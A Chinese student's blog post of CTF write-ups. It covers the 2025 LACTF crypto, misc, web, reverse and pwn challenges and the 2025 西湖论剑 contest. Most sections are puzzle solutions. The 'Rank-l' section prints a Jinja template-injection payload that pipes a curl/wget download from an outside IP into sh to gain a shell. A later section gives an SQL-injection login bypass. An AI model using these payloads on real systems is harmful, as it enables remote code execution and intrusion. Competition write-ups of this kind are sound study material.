Welcome To Luhaozhhhe's Blog!

NKUSEer小菜鸡一枚,记录学习笔记、CTF竞赛、学习心得等内容~


  • Home

  • About

  • Tags

  • Categories

  • Archives

2025LACTF

Posted on 2025-02-10 | In WriteUp

记录一下寒假闲着没事干打的一个国外的比赛,签到题比较多,对我十分友好(bushi)

个人排名:

个人解答情况:

Crypto

big e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import bytes_to_long, getPrime

flag = REDACTED

pt = bytes_to_long(flag)

p = getPrime(1024)
q = getPrime(1024)
n = p*q

e_1 = getPrime(16)
e_2 = getPrime(16)

ct_1 = pow(pt, e_1, n)
ct_2 = pow(pt, e_2, n)
print("ct_1 = ", ct_1)
print("ct_2 = ", ct_2)

print("e_1 = ", e_1)
print("e_2 = ", e_2)

print("n = ", n)

# ct_1 = 7003427993343973209633604223157797389179484683813683779456722118278438552981580821629201099609635249903171901413187274301782131604125932440261436398792561279923201353644665062240232628983398769617870021735462687213315384230009597811708620803976743966567909514341685037497925118142192131350408768935124431331080433697691313467918865993755818981120044023483948250730200785386337033076398494691789842346973681951019033860698847693411061368646250415931744527789768875833220281187219666909459057523372182679170829387933194504283746668835390769531217602348382915358689492117524129757929202594190396696326156951763154356777
# ct_2 = 2995334251818636287120912468673386461522795145344535560487265325864722413686091982727438605788851631192187299910519824438553287094479216297828199976116043039048528458879462591368580247044838727287694258607151549844079706204392479194688578102781851646467977751150658542264776551648799517340378173131694653270749425410071080383488918100565955153958793977478719703463115004497213753735577027928062856483316183232075922059366731900291340025009516177568909257605255717594938087543899066756942042664781424833498278544829618874970165660669400140113047048269742309745649848573501494088032718459018143817236079173978684104782
# e_1 = 49043
# e_2 = 60737
# n = 9162219874876832806204248523866163938680921861751582550947065673035037752546476053774362284605943422397285024205866696280912237827227700515353007344062472274717294484810421409217463791112287997964358655519896402380272695026012981743782564008035342746214988154836484419372449523768063368280069515180570625408254410932129769708259508451185553774810385066789146531683973766796965747310893648672657945403825359068647151094841570404979930542270681833162424933411724266687320976217446032292107871449464575533610369244978941764470549091443086646932177141081314452355708815370388814214178980532690792441231698974328523197187

一个简单的共模攻击,签到题了算是

直接上py脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import long_to_bytes

ct_1 = 7003427993343973209633604223157797389179484683813683779456722118278438552981580821629201099609635249903171901413187274301782131604125932440261436398792561279923201353644665062240232628983398769617870021735462687213315384230009597811708620803976743966567909514341685037497925118142192131350408768935124431331080433697691313467918865993755818981120044023483948250730200785386337033076398494691789842346973681951019033860698847693411061368646250415931744527789768875833220281187219666909459057523372182679170829387933194504283746668835390769531217602348382915358689492117524129757929202594190396696326156951763154356777
ct_2 = 2995334251818636287120912468673386461522795145344535560487265325864722413686091982727438605788851631192187299910519824438553287094479216297828199976116043039048528458879462591368580247044838727287694258607151549844079706204392479194688578102781851646467977751150658542264776551648799517340378173131694653270749425410071080383488918100565955153958793977478719703463115004497213753735577027928062856483316183232075922059366731900291340025009516177568909257605255717594938087543899066756942042664781424833498278544829618874970165660669400140113047048269742309745649848573501494088032718459018143817236079173978684104782
e_1 = 49043
e_2 = 60737
n = 9162219874876832806204248523866163938680921861751582550947065673035037752546476053774362284605943422397285024205866696280912237827227700515353007344062472274717294484810421409217463791112287997964358655519896402380272695026012981743782564008035342746214988154836484419372449523768063368280069515180570625408254410932129769708259508451185553774810385066789146531683973766796965747310893648672657945403825359068647151094841570404979930542270681833162424933411724266687320976217446032292107871449464575533610369244978941764470549091443086646932177141081314452355708815370388814214178980532690792441231698974328523197187

def extended_gcd(a, b):
old_r, r = a, b
old_s, s = 1, 0
old_t, t = 0, 1
while r != 0:
quotient = old_r // r
old_r, r = r, old_r - quotient * r
old_s, s = s, old_s - quotient * s
old_t, t = t, old_t - quotient * t
return old_r, old_s, old_t

gcd, a, b = extended_gcd(e_1, e_2)
print(f"GCD: {gcd}, a: {a}, b: {b}")

# 计算各部分并处理负数指数
if a < 0:
ct1_inv = pow(ct_1, -1, n)
part1 = pow(ct1_inv, -a, n)
else:
part1 = pow(ct_1, a, n)

if b < 0:
ct2_inv = pow(ct_2, -1, n)
part2 = pow(ct2_inv, -b, n)
else:
part2 = pow(ct_2, b, n)

m = (part1 * part2) % n
flag = long_to_bytes(m)
print(flag)

得到flag:

1
lactf{b1g_3_but_sm4ll_d!!!_part2_since_i_trolled}

Extremely Convenient Breaker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/local/bin/python3

from Crypto.Cipher import AES
import os

key = os.urandom(16)
with open("flag.txt", "r") as f:
flag = f.readline().strip()
cipher = AES.new(key, AES.MODE_ECB)

flag_enc = cipher.encrypt(flag.encode())
print("Here's the encrypted flag in hex: ")
print(flag_enc.hex())
print("Alright, lemme spin up my Extremely Convenient Breaker (trademark copyright all rights reserved). ")

while True:
ecb = input("What ciphertext do you want me to break in an extremely convenient manner? Enter as hex: ")
try:
ecb = bytes.fromhex(ecb)
if not len(ecb) == 64:
print("Sorry, it's not *that* convenient. Make your ciphertext 64 bytes please. ")
elif ecb == flag_enc:
print("No, I'm not decrypting the flag. ")
else:
print(cipher.decrypt(ecb))
except Exception:
print("Uh something went wrong, please try again. ")

一个简单的AES,连接远程之后,会给你一个将flag加密的hex字符串

我们只需要改变其中的某一位hex值,就可以还原部分结果出来,多尝试几次就还原出全部的flag了

前半部分:

后半部分:

完整的flag为:

1
lactf{seems_it_was_extremely_convenient_to_get_the_flag_too_heh}

RSAaaS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/local/bin/python3

from Crypto.Util.number import isPrime


def RSAaaS():
try:
print("Welcome to my RSA as a Service! ")
print("Pass me two primes and I'll do the rest for you. ")
print("Let's keep the primes at a 64 bit size, please. ")

while True:
p = input("Input p: ")
q = input("Input q: ")
try:
p = int(p)
q = int(q)
assert isPrime(p)
assert isPrime(q)
except:
print("Hm, looks like something's wrong with the primes you sent. ")
print("Please try again. ")
continue

try:
assert p != q
except:
print("You should probably make your primes different. ")
continue

try:
assert (p > 2**63) and (p < 2**64)
assert (q > 2**63) and (q < 2**64)
break
except:
print("Please keep your primes in the requested size range. ")
print("Please try again. ")
continue

n = p * q
phi = (p - 1) * (q - 1)
e = 65537
d = pow(e, -1, phi)

print("Alright! RSA is all set! ")
while True:
print("1. Encrypt 2. Decrypt 3. Exit ")
choice = input("Pick an option: ")

if choice == "1":
msg = input("Input a message (as an int): ")
try:
msg = int(msg)
except:
print("Hm, looks like something's wrong with your message. ")
continue
encrypted = pow(msg, e, n)
print("Here's your ciphertext! ")
print(encrypted)

elif choice == "2":
ct = input("Input a ciphertext (as an int): ")
try:
ct = int(ct)
except:
print("Hm, looks like something's wrong with your message. ")
continue
decrypted = pow(ct, d, n)
print("Here's your plaintext! ")
print(decrypted)

else:
print("Thanks for using my service! ")
print("Buh bye! ")
break

except Exception:
print("Oh no! My service! Please don't give us a bad review! ")
print("Here, have a complementary flag for your troubles. ")
with open("flag.txt", "r") as f:
print(f.read())


RSAaaS()

一个交互题,和之前有个题很像,就是要找出代码的异常之处,触发异常就可以

我们发现一些简单的异常,代码都帮我们排除了,所以我们只能在其他的代码段触发异常

定位到这一段代码:

1
2
3
4
n = p * q
phi = (p - 1) * (q - 1)
e = 65537
d = pow(e, -1, phi)

求d的时候,可能会出现没有逆元的情况,之前也做过类似的题,就是e与phi不互素的情况

那我们只需要找出合适的p和q,不触发代码中约束的异常,但是触发这个逆元异常就可以了

暴力穷举一下范围内的素数,找到了一个合适的p,满足:

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import isPrime
# 寻找满足条件的64位素数
e = 65537
start = 2**63
end = 2**64

for p_candidate in range(start, end):
if isPrime(p_candidate) and (p_candidate - 1) % e == 0:
p = p_candidate
break
print(p)
#9223372036859527241

然后我们随便生成一个范围内的满足条件的素数q就可以了

1
q=9223372036854775837

最后nc交互即可

得到flag:

1
lactf{actually_though_whens_the_last_time_someone_checked_for_that}

bigram-times

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}~_"
flag = "lactf{REDACTED~}"

def bigram_multiplicative_shift(bigram):
assert(len(bigram) == 2)
pos1 = characters.find(bigram[0]) + 1
pos2 = characters.find(bigram[1]) + 1
shift = (pos1 * pos2) % 67
return characters[((pos1 * shift) % 67) - 1] + characters[((pos2 * shift) % 67) - 1]

shifted_flag = ""
for i in range(0, len(flag), 2):
bigram = flag[i:i+2]
shifted_bigram = bigram_multiplicative_shift(bigram)
shifted_flag += shifted_bigram
print(shifted_flag)
# jlT84CKOAhxvdrPQWlWT6cEVD78z5QREBINSsU50FMhv662W
# Get solving!
# ...it's not injective you say? Ok fine, I'll give you a hint.
not_the_flag = "mCtRNrPw_Ay9mytTR7ZpLJtrflqLS0BLpthi~2LgUY9cii7w"
also_not_the_flag = "PKRcu0l}D823P2R8c~H9DMc{NmxDF{hD3cB~i1Db}kpR77iU"

很明显是一个暴力穷举的题

首先我们试一下前几组对不对,拿jl试一下,发现得到了mC,PK和la,la是我们的答案中的一部分,其他两个就是我们的假flag中的前两个字母,这样就知道全部的思路了,我们只需要暴力逆向求解出全部的可能,然后使用假flag进行排除就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}~_"

def decrypt_bigram(c1, c2):
possible = []
new_pos1 = characters.find(c1) + 1
new_pos2 = characters.find(c2) + 1
for pos1 in range(1, 68):
for pos2 in range(1, 68):
shift = (pos1 * pos2) % 67
if (pos1 * shift) % 67 == new_pos1 and (pos2 * shift) % 67 == new_pos2:
possible.append((characters[pos1-1], characters[pos2-1]))
return possible

target = "jlT84CKOAhxvdrPQWlWT6cEVD78z5QREBINSsU50FMhv662W"

# 对目标字符串中的每两个相邻字符组成的二元组进行解密
for i in range(0, len(target), 2):
if i + 1 < len(target):
c1 = target[i]
c2 = target[i + 1]
results = decrypt_bigram(c1, c2)
print(f"密文二元组: ({c1}, {c2})")
print("可能的明文字符对:")
for result in results:
print(result)
print()

得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
密文二元组: (j, l)
可能的明文字符对:
('l', 'a')
('m', 'C')
('P', 'K')

密文二元组: (T, 8)
可能的明文字符对:
('c', 't')
('t', 'R')
('R', 'c')

密文二元组: (4, C)
可能的明文字符对:
('f', '{')
('u', '0')
('N', 'r')

密文二元组: (K, O)
可能的明文字符对:
('l', '}')
('m', 'U')
('P', 'w')

密文二元组: (A, h)
可能的明文字符对:
('D', '8')
('L', 'T')
('_', 'A')

密文二元组: (x, v)
可能的明文字符对:
('y', '9')
('1', 'p')
('2', '3')

密文二元组: (d, r)
可能的明文字符对:
('l', '1')
('m', 'y')
('P', '2')

密文二元组: (P, Q)
可能的明文字符对:
('c', 'A')
('t', 'T')
('R', '8')

密文二元组: (W, l)
可能的明文字符对:
('c', '~')
('t', 'i')
('R', '7')

密文二元组: (W, T)
可能的明文字符对:
('H', '9')
('V', '3')
('Z', 'p')

密文二元组: (6, c)
可能的明文字符对:
('D', 'M')
('L', 'J')
('_', '6')

密文二元组: (E, V)
可能的明文字符对:
('c', '{')
('t', 'r')
('R', '0')

密文二元组: (D, 7)
可能的明文字符对:
('f', 'l')
('u', 'P')
('N', 'm')

密文二元组: (8, z)
可能的明文字符对:
('q', 'L')
('x', 'D')
('z', '_')

密文二元组: (5, Q)
可能的明文字符对:
('F', '{')
('S', '0')
('4', 'r')

密文二元组: (R, E)
可能的明文字符对:
('h', 'D')
('B', 'L')
('E', '_')

密文二元组: (B, I)
可能的明文字符对:
('p', 't')
('3', 'c')
('9', 'R')

密文二元组: (N, S)
可能的明文字符对:
('h', 'i')
('B', '~')
('E', '7')

密文二元组: (s, U)
可能的明文字符对:
('i', '1')
('7', 'y')
('~', '2')

密文二元组: (5, 0)
可能的明文字符对:
('D', 'b')
('L', 'g')
('_', '5')

密文二元组: (F, M)
可能的明文字符对:
('w', 'e')
('U', 'Y')
('}', 'k')

密文二元组: (h, v)
可能的明文字符对:
('p', 'R')
('3', 't')
('9', 'c')

密文二元组: (6, 6)
可能的明文字符对:
('i', 'i')
('7', '7')
('~', '~')

密文二元组: (2, W)
可能的明文字符对:
('i', 'U')
('7', 'w')
('~', '}')

然后把错误的flag部分全部去除就可以了

最后的flag为:

1
lactf{mULT1pl1cAtiV3_6R0uPz_4rE_9RE77y_5we3t~~~}

Misc

Extended

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
flag = "lactf{REDACTED}"
extended_flag = ""

for c in flag:
o = bin(ord(c))[2:].zfill(8)

# Replace the first 0 with a 1
for i in range(8):
if o[i] == "0":
o = o[:i] + "1" + o[i + 1 :]
break

extended_flag += chr(int(o, 2))

print(extended_flag)

with open("chall.txt", "wb") as f:
f.write(extended_flag.encode("iso8859-1"))

简单的逆向一下就可以了

py脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 读取chall.txt文件内容
with open("./chall.txt", "rb") as f:
extended_flag = f.read().decode("iso8859-1")

# 初始化还原后的字符串
original_flag = ""

# 遍历extended_flag中的每个字符
for c in extended_flag:
# 将字符转换为ASCII码,再转换为8位二进制字符串
o = bin(ord(c))[2:].zfill(8)

# 找到二进制字符串中第一个1,并将其替换为0
for i in range(8):
if o[i] == "1":
o = o[:i] + "0" + o[i + 1:]
break

# 将处理后的二进制字符串转换回整数,再转换为字符,添加到original_flag中
original_flag += chr(int(o, 2))

# 输出还原后的字符串
print(original_flag)

得到结果:

得到flag:

1
lactf{Funnily_Enough_This_Looks_Different_On_Mac_And_Windows}

Danger Searching

My friend told me that they hiked on a trail that had 4 warning signs at the trailhead: Hazardous cliff, falling rocks, flash flood, AND strong currents! Could you tell me where they went? They did hint that these signs were posted on a public hawaiian hiking trail.

Note: the intended location has all 4 signs in the same spot. It is 4 distinct signs - not 4 warnings on one sign.

Flag is the full 10 digit plus code containing the signs they are mentioning, (e.g. lactf{85633HC3+9X} would be the flag for Bruin Bear Statue at UCLA). The plus code is in the URL when you select a location, or click the ^ at the bottom of the screen next to the short plus code to get the full length one.

直接google搜图就可以了

定位到73G66738+9C

所以flag为:

1
lactf{73G66738+9C}

Web

lucky-flag

打开来发现全是图标

打开源代码查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const $ = q => document.querySelector(q);
const $a = q => document.querySelectorAll(q);

const boxes = $a('.box');
let flagbox = boxes[Math.floor(Math.random() * boxes.length)];

for (const box of boxes) {
if (box === flagbox) {
box.onclick = () => {
let enc = `"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"`;
for (let i = 0; i < enc.length; ++i) {
try {
enc = JSON.parse(enc);
} catch (e) { }
}
let rw = [];
for (const e of enc) {
rw['\x70us\x68'](e['\x63har\x43ode\x41t'](0) ^ 0x62);
}
const x = rw['\x6dap'](x => String['\x66rom\x43har\x43ode'](x));
alert(`Congrats ${x['\x6aoin']('')}`);
};
flagbox = null;
} else {
box.onclick = () => alert('no flag here');
}
};

发现如果点击正确的话,就可以进行输出正确的flag,我们逆向还原一下就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 原代码中的编码字符串
enc = '"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"'
# 多次进行类似 JSON.parse 的操作,去除多余转义字符
for _ in range(len(enc)):
try:
enc = eval(enc)
except SyntaxError:
# 解析出错则跳过,继续下一次尝试
continue
# 用于存储解码后的字符编码
rw = []
# 对解析后的字符串每个字符进行异或操作
for char in enc:
rw.append(ord(char) ^ 0x62)
# 将字符编码转换为对应的字符
x = [chr(code) for code in rw]
# 将字符数组拼接成字符串
flag = ''.join(x)
# 输出解码后的 flag
print(flag)

得到flag:

1
lactf{w4s_i7_luck_0r_ski11}

Reverse

javascryption

打开一看是个web页面,查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const msg = document.getElementById("msg");
const flagInp = document.getElementById("flag");
const checkBtn = document.getElementById("check");

function checkFlag(flag) {
const step1 = btoa(flag);
const step2 = step1.split("").reverse().join("");
const step3 = step2.replaceAll("Z", "[OLD_DATA]");
const step4 = encodeURIComponent(step3);
const step5 = btoa(step4);
return step5 === "JTNEJTNEUWZsSlglNUJPTERfREFUQSU1RG85MWNzeFdZMzlWZXNwbmVwSjMlNUJPTERfREFUQSU1RGY5bWI3JTVCT0xEX0RBVEElNURHZGpGR2I=";
}

checkBtn.addEventListener("click", () => {
const flag = flagInp.value.toLowerCase();
if (checkFlag(flag)) {
flagInp.remove();
checkBtn.remove();
msg.innerText = flag;
msg.classList.add("correct");
} else {
checkBtn.classList.remove("shake");
checkBtn.offsetHeight;
checkBtn.classList.add("shake");
}
});

签到题,直接逆向就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64

# 最终的 Base64 编码字符串
encoded_result = "JTNEJTNEUWZsSlglNUJPTERfREFUQSU1RG85MWNzeFdZMzlWZXNwbmVwSjMlNUJPTERfREFUQSU1RGY5bWI3JTVCT0xEX0RBVEElNURHZGpGR2I="

# 步骤 5 逆向:Base64 解码
step4 = base64.b64decode(encoded_result).decode('utf-8')

# 步骤 4 逆向:URI 解码
from urllib.parse import unquote
step3 = unquote(step4)

# 步骤 3 逆向:替换 [OLD_DATA] 为 Z
step2 = step3.replace("[OLD_DATA]", "Z")

# 步骤 2 逆向:反转字符串
step1 = step2[::-1]

# 步骤 1 逆向:Base64 解码
original_flag = base64.b64decode(step1).decode('utf-8')

print(original_flag)

得到flag:

1
lactf{no_grizzly_walls_here}

patricks-paraflag

也是签到题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rbx
size_t v4; // rcx
size_t v5; // rax
int v6; // ebx
char v8[256]; // [rsp+0h] [rbp-208h] BYREF
char s[264]; // [rsp+100h] [rbp-108h] BYREF

printf("What do you think the flag is? ");
fflush(_bss_start);
fgets(s, 256, stdin);
v3 = strcspn(s, "\n");
s[v3] = 0;
if ( strlen(target) == v3 )
{
v4 = v3 >> 1;
if ( v3 > 1 )
{
v5 = 0LL;
do
{
v8[2 * v5] = s[v5];
v8[2 * v5 + 1] = s[v4 + v5];
++v5;
}
while ( v5 < v4 );
}
v8[v3] = 0;
printf("Paradoxified: %s\n", v8);
v6 = strcmp(target, v8);
if ( v6 )
{
puts("You got the flag wrong >:(");
return 0;
}
else
{
puts("That's the flag! :D");
}
}
else
{
puts("Bad length >:(");
return 1;
}
return v6;
}

可以知道,flag是由target分为两部分,再拼接而成的

我们找到对应的target即可

target为:

1
l_alcotsft{_tihne__ifnlfaign_igtoyt}

然后还原即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
target = "l_alcotsft{_tihne__ifnlfaign_igtoyt}"
# 计算 target 长度的一半
half_length = len(target) // 2
# 初始化存储前半部分和后半部分的列表
first_half = []
second_half = []
# 遍历,按顺序提取前半部分和后半部分的字符
for i in range(half_length):
first_half.append(target[2 * i])
second_half.append(target[2 * i + 1])
# 将列表转换为字符串
first_half_str = ''.join(first_half)
second_half_str = ''.join(second_half)
# 拼接前半部分和后半部分得到原始 flag
original_flag = first_half_str + second_half_str
print(original_flag)

得到flag:

1
lactf{the_flag_got_lost_in_infinity}

nine-solves

先查看一下main函数逆向的c++代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 i; // rsi
unsigned int v4; // eax
int v5; // ecx
int v6; // edx
char v8[6]; // [rsp+0h] [rbp-18h] BYREF
char v9; // [rsp+6h] [rbp-12h]

puts("Welcome to the Tianhuo Research Center.");
printf("Please enter your access code: ");
fflush(stdout);
fgets(v8, 16, stdin);
for ( i = 0LL; i != 6; ++i )
{
v4 = v8[i];
if ( (unsigned __int8)(v8[i] - 32) > 0x5Eu )
goto LABEL_14;
v5 = yi[i];
if ( !v5 )
goto LABEL_14;
v6 = 0;
while ( (v4 & 1) == 0 )
{
++v6;
v4 >>= 1;
if ( v5 == v6 )
goto LABEL_9;
LABEL_6:
if ( v4 == 1 )
goto LABEL_14;
}
++v6;
v4 = 3 * v4 + 1;
if ( v5 != v6 )
goto LABEL_6;
LABEL_9:
if ( v4 != 1 )
goto LABEL_14;
}
if ( !v9 || v9 == 10 )
{
eigong();
return 0;
}
LABEL_14:
puts("ACCESS DENIED");
return 1;
}

说明我们要寻找的是六位的访问码,交互即可获得flag

只需要简单的进行逆向的分析即可还原六位的访问码

首先查看yi数组的值,为[27, 38, 87, 95, 118, 9]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
yi = [27, 38, 87, 95, 118, 9]

def forward_verify(char_value, target):
v4 = char_value
v6 = 0
# 处理右移操作
while (v4 & 1) == 0:
v6 += 1
v4 >>= 1
if v6 == target:
break
# 处理 3n + 1 操作
while v4 != 1:
if (v4 & 1) == 0:
v6 += 1
v4 >>= 1
else:
v6 += 1
v4 = 3 * v4 + 1
return v6 == target

access_code = ""
for i in range(len(yi)):
found = False
# 遍历合法的 ASCII 码范围
for char_value in range(32, 32 + 0x5E + 1):
if forward_verify(char_value, yi[i]):
access_code += chr(char_value)
found = True
break
if not found:
print(f"No valid solution found for position {i}.")
break
else:
print(f"The access code is: {access_code}")

输出:The access code is: AigyaP

交互输入AigyaP即可获得flag

得到flag:

1
lactf{the_only_valid_solution_is_BigyaP}

Pwn

2password

直接用户名栈溢出就可以了

得到十六进制小端序:0x75687b667463616c0x66635f327265746e0x7d38367a783063

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
hex_strings = ["0x75687b667463616c", "0x66635f327265746e", "0x7d38367a783063"]
result = ""

for hex_str in hex_strings:
# 去除 '0x' 前缀
hex_str = hex_str[2:]
# 将十六进制字符串按每两个字符分割成字节
bytes_list = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)]
# 反转字节顺序
reversed_bytes = bytes_list[::-1]
# 将反转后的字节列表拼接成十六进制字符串
reversed_hex = ''.join(reversed_bytes)
# 将十六进制字符串转换为字节对象
byte_obj = bytes.fromhex(reversed_hex)
# 将字节对象解码为字符串
result += byte_obj.decode('utf-8')

print(result)

得到flag:

1
lactf{hunter2_cfc0xz68}

2025西湖论剑

Posted on 2025-02-01 | In WriteUp

Web

Rank-l

网上找之前ciscn ccb的poc就能打

1
phone_number={{url({%set glo='_'+'_'+'globals'+'_'+'_'%}{%set bui='_'+'_'+'builtins'+'_'+'_'%}{%set imp='_'+'_'+'imp'+'ort'+'_'+'_'%}{%set zx='o'+'s'%}{{cycler.next[glo][bui][imp](zx)['pop'+'en']('(curl '+cycler.next[glo][bui]['chr'](45)+'fsSL '+cycler.next[glo][bui]['chr'](45)+'m180 http:'+cycler.next[glo][bui]['chr'](47)+''+cycler.next[glo][bui]['chr'](47)+'8.140.232.67:8084'+cycler.next[glo][bui]['chr'](47)+'slt||wget '+cycler.next[glo][bui]['chr'](45)+'T180 '+cycler.next[glo][bui]['chr'](45)+'q http:'+cycler.next[glo][bui]['chr'](47)+''+cycler.next[glo][bui]['chr'](47)+'8.140.232.67:8084'+cycler.next[glo][bui]['chr'](47)+'slt)|sh')['read']()}})}}

记得要把-和/用chr饶过一下

flag root读

查suid

公网开vshell把shell弹出来

跟这个博客走一遍suid提权,直接读/flagf149

https://mikokuma.github.io/posts/1ca7db7c/index.html

sqli or not

url编码可以绕过第一个检测

使用$`当作'打绕过第二个

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /?info={{url({"username":"admin$` or 1=1-- ","password":"aa$`"})}} HTTP/1.1
Host: 139.155.126.78:25369
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "macOS"
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9

REVERSE

BitDance

首先输入任意内容,提示长度错误,因此先进行枚举爆破字符串长度,当字符长度为96时得到不同的输出,因此确定flag字符长度为96位。

然后观察程序输出,默认颜色为绿色,第一行有1个字符为蓝色,后续行每行有一个字符为蓝色。继续观察发现标红的位置为每行中唯一可能变化的值。

后续继续试验发现,输入的字符首先会被转换成二进制序列,然后二进制序列每一行可能变化的位置与输入无关,是程序内的固定逻辑。我们称输入为I,原始序列空间为A(I属于A),经过offset映射后的空间为B,映射变化为T,逆变换为S。则有:

O = S(Rotate(T(I), 1))

程序中给出输出反求输入:

I = S(Rotate(T(O), -1))

执行截图:

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
from pwn import *
import re
import pickle

if os.path.exists('output.bin'):
with open('output.bin', 'rb') as f:
output = pickle.load(f)
else:
# 连接到指定的地址和端口
p = remote('139.155.126.78', 16699)

# 接收欢迎信息
welcome_msg = p.recvuntil('Welcome to dance: ')

# 发送 96 个 0xFF
# p.sendline(b'\xFF' * 95 + b'\xFC')
# 将10序列转换成bytes
# b = '000011000110000101001000001110100000000101000100110100101000110111001010000010111011100000000010101100011100010110001000011001000110011101101001001001100110100100010001110001110100011100011111110111001011011100001110000110100101000011000011010101110000110101110101101011110000000101011000000101001010001000001010111111111100100010001100000001011101100101000000111101101010001100010110001000010101101100111101111111110101100111000010111110110101010010000011100000011011010010001110011010100101000000011100000010001010010110111000111001000100110101000001101000110001001000000000111100001100100000001010100101101010101001111001010010001111000101011011001001001101000010011101011101011011011110101000110110101000011001000100001101110000101110110000010001000010010001001100'
b = ['1'] * (96 * 8)
b[767] = '0'
b[143] = '0'
b[722] = '0'
b[387] = '0'
b = ''.join(b)
b = [b[i:i + 8] for i in range(0, len(b), 8)]
b = [int(i, 2) for i in b]
p.sendline(bytes(b))

# 接收 'Start from 0'
start_from_0 = p.recvuntil('Start from 0\n')

# 打印所有输出
output = p.recvall()
output = output.split(b'\n')
output, other = output[:769], output[769:]

# 左删除 '\x1b[0;32m', 右删除 '\x1b[0m'
output = [line[7:-4] for line in output]

print(other)

# 保存输出
with open('output.bin', 'wb') as f:
pickle.dump(output, f)

# regex 找到 \x1b[0m\x1b[0;34m0\x1b[0m\x1b[0;32m
pattern = re.compile(rb'\x1b\[0m\x1b\[0;\d+m([01])\x1b\[0m\x1b\[0;32m')

simple_output = []
pos = []
for line in output:
# find pattern in line
match = pattern.search(line)
assert match
pos.append(match.start())
# get prefix and suffix, then combine them
prefix = line[:match.start()]
suffix = line[match.end():]
simple_output.append(prefix + match.group(1) + suffix)

# 打印简化后的输出
for i in range(len(simple_output)):
curr_pos = pos[i]
curr_output = simple_output[i]
curr_output_with_color = output[i].decode()

flip = False
if i != 0:
